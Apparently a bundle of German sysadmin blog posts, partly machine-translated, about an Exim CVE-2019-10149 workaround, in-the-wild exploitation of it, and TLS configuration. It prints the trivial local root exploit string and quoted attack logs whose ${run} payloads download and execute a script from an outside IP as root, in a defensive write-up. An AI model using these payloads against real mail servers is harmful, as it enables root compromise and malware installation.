Quickfix: Exim <= 4.91 for CVE-2019-10149

Ok, Exim 4.87 < 4.92 has a serious security hole, which can also be trivially exploited: CVE-2019-10149

A lot of fuss has been made about the weak point, but unfortunately nobody has been able to tell whether it can be fended off without an update. Let’s have a look at what it’s all about.

What is the trivial exploit?

As a local attacker it is enough to send an email with Exim’s sendmail replacement to „<${run{bash}}@zieldomain.de>“. At the moment it is delivered, the embedded command (here bash) is executed as root.

The whole thing can also be executed remotely, so it’s a really nasty vulnerability. But only versions > 4.87 < 4.92 are affected. For this, however, various things must be allowed in the config, which is only partially the case in the default configuration. For example, you cannot include a „/“ in the command because these are illegal characters. This of course restricts the attacker from being strong.

Since even on the exim list there was a lot of secrecy in the game until today, here are the equally trivial countermeasures:

Countermeasures

Just don’t allow „$“ in email addresses 😀 That’s it. There only ARGS came to my mind 😀

This comes into your Exim configuration, then restart Exim:

acl_check_rcpt:

deny message = Restricted characters in address
domains = +local_domains
local_parts = ^[.] : ^.*[\$@%!/|]

deny message = Restricted characters in address
domains = !+local_domains
local_parts = ^[./|] : ^.*[\$@%!] : ^.*/\\.\\./


.

acl_check_mail:




drop message = Restricted characters in address
condition = ${if match{$sender_address}{\N.*\$.*run.*\N}{1}{0}}}

# IMPORTANT: Write in before these instructions, otherwise it’s not working!

accept hosts = +relay_from_hosts

This chokes off the attacker before the email is delivered.

The better countermeasure would of course be to switch to a more recent Exim. But as it is, there are always „reasons“ why and why something can’t be updated.

Nobody gets his teeth apart…

What annoys me most of all about the gap is that this cheap countermeasure does not appear in the Advisory of Qualys and in the hints of the Exim Team. With the Exim people I can still understand it, because they had fixed the bug independently already at the beginning of the year and can say justly: Just do updates.

Qualyss looks different, they write :

As per the distros list policy:

Below is an abridged version of our advisory (with all the vulnerability
details, but without exploitation details); we will publish the complete
version in 24 hours, or as soon as third-party exploits are published,
whichever happens first.

We believe that it makes no sense to delay this any longer than that:
this vulnerability is trivially exploitable in the local and non-default
cases (attackers will have working exploits before that, public or not);
and in the default case, a remote attack takes a long time to succeed
(to the best of our knowledge).

Nice that you omitted the exploit, how about the workaround, so that the good guys have a small lead?  And this cryptic hint „a remote attack takes a long time to succeed“ means that you should restart your exim every 24h, because there is some shit with „tar pits“.

These are usually spam traps that respond so slowly that the attacker’s attack is just as tough as in a tar pit, up to „no progress at all“. The attackers take advantage of something like this here. Therefore once in the cron „killall -9 exim; systemctl restart exim“ daily  : Done.

A follow-up of the aftermatch and some real exploits can be found here: Exim – Exploit in der Wildnis unterwegs

Translated with www.DeepL.com/Translator

BTW: yes, ofcourse i could have written it in english myself, but the translation isn’t that bad 😉

Exim – Exploit in der Wildnis unterwegs

Vor ein paar Tagen ging ja die Exim Root-Schwachstelle durch alle IT-Portale. Wenn Ihr Euch an diesen Beitrag erinnern Exim < 4.92 mit CVE-2019-10149 mögt.Darin hatte ich u.a. auf das Problem und die Lösung hingewiesen.

Was passiert, wenn man nicht reagiert

Heute morgen erreichte die Exim-Mailingliste folgende E-Mail:

hi all,

My mail system has just been hacked; it’s running Debian unstable exim 4.91-9

Could it be CVE-2019-10149? I don’t see any reports of active exploits yet.

The reasons I suspect exim involvement:

‱ starting today, every 5 mins getting frozen messages:

The following address(es) have yet to be delivered:

root+${run{\x2fbin\x2fbash\x20\x2dc\x20\x22wget\x20\x2d\x2dno\x2dcheck\x2dcertificate\x20\x2dT\x2036\x20https\x3a\x2f\x2f185\x2e162\x2e235\x2e211\x2fldm1ip\x20\x2dO\x20\x2froot\x2f\x2efabyfmnp\x20\x26\x26\x20sh\x20\x2froot\x2f\x2efabyfmnp\x20\x2dn\x22\x20\x26}}@xxx: Too many „Received“ headers – suspected mail loop

‱ the trojan horse scripts, that were successfully installed on my system, with root access, are all group Debian-exim

Luckily, it looks like the trojans did nothing more than repeated attempts to open up my ssh server to root logins, which I think (and hope) didn’t actually work, so I may have been lucky, and the damage isn’t widespread.

ought I to be reporting this anywhere?

Darauf hin habe ich mal die Logs des Servers analysiert, fĂŒr den ich den kleinen Patch geschrieben habe und seht, was ich dort fand :

2019-06-10 04:31:04 H=(xxxxxxxxxxxxxx.xx) [89.248.171.57] F=<> rejected RCPT <${run{\x2fbin\x2fbash\x20\x2dc\x20\x22wget\x20\x2d\x2dno\x2dcheck\x2dcertificate\x20\x2dt\x203\x20\x2dT\x2075\x20http\x3a\x2f\x2f185\x2e162\x2e235\x2e211\x2fldmxim\x20\x2dO\x20\x2froot\x2f\x2etuked\x20\x26\x26\x20sh\x20\x2froot\x2f\x2etuked\x20\x2dn\x22\x20\x26}}@xxxxxxxxxxxxxx.xx>: Restricted characters in address
2019-06-10 04:31:04 H=(xxxxxxxxxxxxxx.xx) [89.248.171.57] F=<> rejected RCPT <${run{\x2fbin\x2fbash\x20\x2dc\x20\x22wget\x20\x2d\x2dno\x2dcheck\x2dcertificate\x20\x2dt\x203\x20\x2dT\x2075\x20http\x3a\x2f\x2f185\x2e162\x2e235\x2e211\x2fldmxim\x20\x2dO\x20\x2froot\x2f\x2ekqvuhtpi\x20\x26\x26\x20sh\x20\x2froot\x2f\x2ekqvuhtpi\x20\x2dn\x22\x20\x26}}@xxxxxxxxxxxxxx.xx>: Restricted characters in address
… und noch ein paar mehr davon …

Ja, sie es versucht, der Exploit ist folglich in der Wildnis unterwegs.

Exploit ist am Werk

Wer jetzt nicht seinen anfÀlligen Exim wie in Exim < 4.92 mit cve-2019-10149 beschrieben patched oder auf einen neueren Exim updated, der gehört bestraft und wie man oben sieht, wird er das auch.

Schauen wir uns mal an, was da passieren sollte:

${run{/bin/bash -c „wget –no-check-certificate -t 3 -T 75 http://185.162.235.211/ldmxim -O /root/.tuked && sh /root/.tuked -n“ &}

Hier wird also ein in Russland gehostedes Script per wget mit Rootrechten heruntergeladen und ausgefĂŒhrt. Naja, es „sollte“ ausgefĂŒhrt werden. Hat ja nicht geklappt, weil der Eximpatch das verhindert hat.

Bei dem gehackten Debianserver kam eine leicht geÀnderte Anweisung zum Einsatz:

${run{/bin/bash -c „wget –no-check-certificate -T 36 https://185.162.235.211/ldm1ip -O /root/.fabyfmnp && sh /root/.fabyfmnp -n“ &}}

von der selben Gruppe offensichtlich wie bei dem von mir betreuten Server, aber mit einem zufĂ€lligen Dateinamen. Ich tippe mal darauf, daß es damit Firewalls schwieriger gemacht werden soll, diese Anweisung gleich zu filtern. Als Firewallregelschreiber wĂŒrde ich auf „${run“ filtern, aber ok, das ist ja nur meine Meinung :DD

-t meint ĂŒbrigens retries. Da hat wohl jemand bemerkt, daß er zu viele anfĂ€llige Server gleichzeitig attackiert hat und sein Webdienst ĂŒberlastet war 😀 Auch das grĂ¶ĂŸere Timeout mit -T 75 spricht dafĂŒr, daß das Ziel wohl schlecht zu erreichen war. Da muß man dann mal  kreativ werden 😉

Update 16:38 Uhr

So langsam kommen die Hackberichte rein. Zimbra scheint von dem EXIM CVE  betroffen zu sein:

https://forums.zimbra.org/viewtopic.php?t=65932&start=120#p290739

Nach dem ich das gelesen habe, kommt bei denen keiner auf Idee den Server durch Reinstallation zu entseuchen? Deren Crontab scheint ihnen dagegen sehr wichtig zu sein.

Update 17:00 Uhr

Die CPanel Supporter haben doch glatt fĂŒr alte, gar nicht mehr maintainte Versionen ein Update rausgebracht.

Exim CVE-2019-10149, how to protect yourself

Leider ist es natĂŒrlich falsch zu behaupten, es gibt keine Gegenmaßnahmen, denn die stehen ja hier oben wirkungsvoll demonstriert zur VerfĂŒgung 🙂

Update 17:06 Uhr

Hier gibt es am Ende eine schöne Liste ĂŒber die Verteilung der Exim Versionen:

Critical Exim flaw exploitable locally and remotely, patch ASAP!

Sehr aufschlussreich, hÀtte ich gar nicht gedacht.

Exim < 4.92 mit CVE-2019-10149

Jetzt muß ich es Euch doch erzĂ€hlen, wo ich doch dachte, es dauert noch lĂ€nger bis die Katze aus dem Sack ist. Ok, Exim < 4.92 hat eine schwerwiegende SicherheitslĂŒcke, die man auch noch trivial ausnutzen kann: CVE-2019-10149

Um die Schwachstelle wurde viel Wirbel gemacht, dummerweise bekam bislang niemand die ZĂ€hne auseinander, ob man das auch ohne Update abwehren kann. Schauen wir uns mal an worum es ĂŒberhaupt geht.

Was ist der triviale Exploit?

Es reicht, wenn man als lokaler Angreifer eine Email mit dem Sendmailersatz von Exim an „<${run{bash}}@zieldomain.de>“ sendet. Im Augenblick wo die zugestellt wird, wird der eingebettete Befehle (hier bash) als Root ausgefĂŒhrt.

Das ganze kann man ggf. auch per Remote ausfĂŒhren, so daß es eine richtig fiese Schwachstelle ist. Betroffen sind aber nur Versionen  > 4.87 < 4.92 . Dazu mĂŒssen aber diverse Dinge in der Config erlaubt sein, was in der Defaultkonfig nur teilweise der Fall ist. z.b. kann man keine „/“ in dem Befehl unterbringen, weil das unerlaubte Zeichen sind. Das schrĂ€nkt den Angreifer natĂŒrlich stark sein.

Da selbst auf der Eximliste bis heute viel GeheimniskrĂ€merrei im Spiel war, hier die ebenso triviale Gegenmaßnahmen:

Gegenmaßnamen

Einfach kein „$“ in Emailadressen erlauben 😀 Das war es. Da fiel mir nur ARGS zu ein 😀

Das hier kommt in Eure Exim Konfiguration rein, dann Exim neu starten:

acl_check_rcpt:

deny message = Restricted characters in address
domains = +local_domains
local_parts = ^[.] : ^.*[\$@%!/|]

deny message = Restricted characters in address
domains = !+local_domains
local_parts = ^[./|] : ^.*[\$@%!] : ^.*/\\.\\./

….

acl_check_mail:

drop message = Restricted characters in address
condition = ${if match{$sender_address}{\N.*\$.*run.*\N}{1}{0}}

# WICHTIG: Vor dieser Anweisung reinschreiben, sonst Essig!

accept hosts = +relay_from_hosts

Das wĂŒrgt den Angreifer ab, bevor die Email zugestellt wird.

Die bessere Gegenmaßnahme wĂ€re natĂŒrlich auf einen aktuelleren Exim umzusteigen. Aber wie das so ist, es gibt halt immer „GrĂŒnde“ warum und wieso was nicht aktualisiert werden kann.

Keiner bekommt die ZĂ€hne auseinander…

Was mich am allermeisten an der LĂŒcke nervt ist, daß diese billige Gegenmaßnahme im Advisory von Qualys und in den Hinweisen vom Exim Team nicht vorkommen. Bei den Exim Leuten kann ich es noch verstehen, weil die den Bug selbststĂ€ndig schon Anfang des Jahres gefixt hatten und halt mit Recht sagen können: Mach halt Updates.

Bei Qualyssieht anders aus, die schreiben :

As per the distros list policy:

Below is an abridged version of our advisory (with all the vulnerability
details, but without exploitation details); we will publish the complete
version in 24 hours, or as soon as third-party exploits are published,
whichever happens first.

We believe that it makes no sense to delay this any longer than that:
this vulnerability is trivially exploitable in the local and non-default
cases (attackers will have working exploits before that, public or not);
and in the default case, a remote attack takes a long time to succeed
(to the best of our knowledge).

Schön das Ihr den Exploit weggelassen habt, wie wĂ€r es mal mit dem Workaround, so das die guten Jungs einen kleinen Vorsprung haben?  Und dieser kryptische Hinweis „a remote attack takes a long time to succeed“ meint ĂŒbrigens, das man seinen Exim mal alle 24h neu starten sollte, weil es da wohl irgend einen Scheiß mit „Teergruben“ gibt.

Das sind i.d.R. Spamfallen, die so langsam antworten, daß der Angriff des Angreifers einfach zĂ€h wie in einer Teergrube ablĂ€uft, bis hin zu „gar nicht voran kommt“. So was in der Art nutzen die Angreifer hier aus. Daher einmal im Cron „killall -9 exim; systemctl restart exim“ per Cron: Fertig.

TLS 1.3 am Horizont gesichtet

Seit  dem 15. Januar gibt es openssl1.1.1a fĂŒr Fedora 29 und Fedora 30 und damit die neue TLS 1.3 Version. Leider bleibt Fedora 28 auf der Strecke, da der Maintainer bei Red Hat keine Lust hat, es auf Fedora 28 zu kompilieren, auch wenn .. Zitat: „nur triviale Anpassungen am Securitypolicyblock nötig wĂ€ren“.

Das kann ich so natĂŒrlich nicht hinnehmen 😀

Wir brauchen :

Einen Exim 4.91 Mailserver und folgende Koji Paketevon Fedora 29 :

-rw-r–r– 1 root root 46760 26. Okt 11:46 crypto-policies-20181026-1.gitd42aaa6.fc29.noarch.rpm
-rw-r–r– 1 root root 625824 15. Jan 15:43 openssl-1.1.1a-1.fc29.x86_64.rpm
-rw-r–r– 1 root root 1395348 15. Jan 15:43 openssl-libs-1.1.1a-1.fc29.x86_64.rpm

dann „dnf update ./*fc29*rpm“  und den Exim danach neustarten und …

[000.099]Connected to server
[000.201]<–220 s113.resellerdesktop.de ESMTP Exim 4.91 Mon, 28 Jan 2019 22:49:51 +0100
[000.201]We are allowed to connect
[000.201] –>EHLO www6.CheckTLS.com
[000.299]<–250-s113.resellerdesktop.de Hello www6.checktls.com [159.89.187.50]
250-SIZE 52428800
250-8BITMIME
250-PIPELINING
250-AUTH PLAIN LOGIN
250-CHUNKING
250-STARTTLS
250 HELP
[000.300]We can use this server
[000.300]TLS is an option on this server
[000.300] –>STARTTLS
[000.425]<–220 TLS go ahead
[000.425]STARTTLS command works on this server
[000.557]Connection converted to SSL
SSLVersion in use: TLSv1_3
Cipher in use: TLS_AES_256_GCM_SHA384
Certificate 1 of 3 in chain: Cert VALIDATED: ok
Cert Hostname VERIFIED (s113.resellerdesktop.de = s113.resellerdesktop.de | DNS:gesperrt.s113.resellerdesktop.de | DNS:mailpwd.s113.resellerdesktop.de | DNS:pma.s113.resellerdesktop.de | DNS:s113.resellerdesktop.de | DNS:webmail.s113.resellerdesktop.de | DNS:www.s113.resellerdesktop.de)
cert not revoked by CRL
cert not revoked by OCSP
serialNumber=03:06:78:2c:10:74:ad:f3:10:91:27:d2:92:a5:a1:8b:81:38
subject= /CN=s113.resellerdesktop.de
issuer= /C=US/O=Let’s Encrypt/CN=Let’s Encrypt Authority X3

Wenn es doch immer nur so einfach wĂ€re 😉

Koji Pakete gibt es hier:

https://koji.fedoraproject.org/koji/packages?start=400&order=package_name&prefix=o&inherited=1

Exim – Wie man TLS erzwingt II

Im letzten Beitrag Exim – Wie man TLS erzwingt war das Blockieren von ausgehenden Verbindungen ohne TLS Thema. Heute befassen wir uns mit dem Gegenteil : Wie verhindern wir, daß wir eine Email bekommen, die unsicher ĂŒbertragen wurde?

Exim ’s Access Control Lists

Exim als Mailserver erlaubt es uns, in jede Phase der Übertragung von Emails per SMTP einzugreifen und Emails aufgrund von Mustern und Bedingungen abzulehnen. Die ACL genannten Bedingungsketten sind universell einsetzbar, hier ein Beispiel:

acl_check_helo:

drop condition = ${if eq{$sender_helo_name}{ylmf-pc} {1}}
     message = Your a naugthy boy

accept

Die Helo-ACL prĂŒft ob, sich der anfragende Mailserver mit einem bestimmten NamenskĂŒrzel meldet, hier „ylmf-pc„. Das ist so ziemlich todsicher ein Bot aus einem asiatischen Netzwerk. Zur ErklĂ€rung :

drop ist das Ziel der Aktion, wenn die condition greift. Hier der Vergleich (if eq) von dem was der „Client“ gesendet hat und dem ylmf-pc Text. Übersetzt heißt das : if ( „sender_helo_name“  == „ylmf-pc“ )  { log.message = „Your a naugthy boy“; message.drop(); }

So sieht das dann im SMTP aus :

220 irgendeinserver.de ESMTP Exim 4.89 Sun, 03 Dec 2017 14:33:48 +0100
HELO ylmf-pc
550 Your a naugthy boy

Ansonsten akzeptiere ( accept ) die Email. NatĂŒrlich könnte man hier auch schon DNS IP Blacklisten eintragen, oder andere Abfragen, die keinen EmpfĂ€nger / Sender benötigen. Die meisten ACls werden aber genau bei der Sender- und EmpfĂ€ngerprĂŒfung eingesetzt. Genau das werden wir in der ACL acl_check_rcpt tun.

Zum GlĂŒck sind die nötigen Anweisungen extrem ĂŒbersichtlich :

acl_check_rcpt:
 ...
 deny condition = ${if eq{$tls_cipher}{}{1}{0}}
      message   = Sender did not use TLS secured connection.

Meint:

If ( tls_cipher ==  „“ ) { log.message = „Sender did not use TLS secured connection. „; message.deny() }

Das war es schon. Damit kommen nur noch Emails weiter, die ĂŒber eine TLS gesicherte Verbindung gesendet werden. Ob das Spam ist oder nicht, muß man natĂŒrlich trotzdem prĂŒfen, wenn die Mail erst einmal ĂŒbertragen wurde.

Analyse

Da erst einmal nur der EmpfĂ€nger in der SMTP Phase genannt wurde, ist der Inhalt der Email noch aus dem sendenen Server, denn der wird erst mit dem DATA Block ĂŒbertragen. In die HELO ACL kann man das nicht einbauen, da SMTP verlangt, daß ein netter Server erstmal HELO  oder EHLO sagt, bevor er weiter macht.

Die ĂŒbliche SMTP-Befehlsreihenfolge dĂŒrfte daher :

HELO
STARTTLS
MAIL FROM:
RCPT TO:
DATA

sein. Man kann es natĂŒrlich auch bereits in der mail_from ACL machen, ob das einen großen Unterschied machen wird, ist fraglich.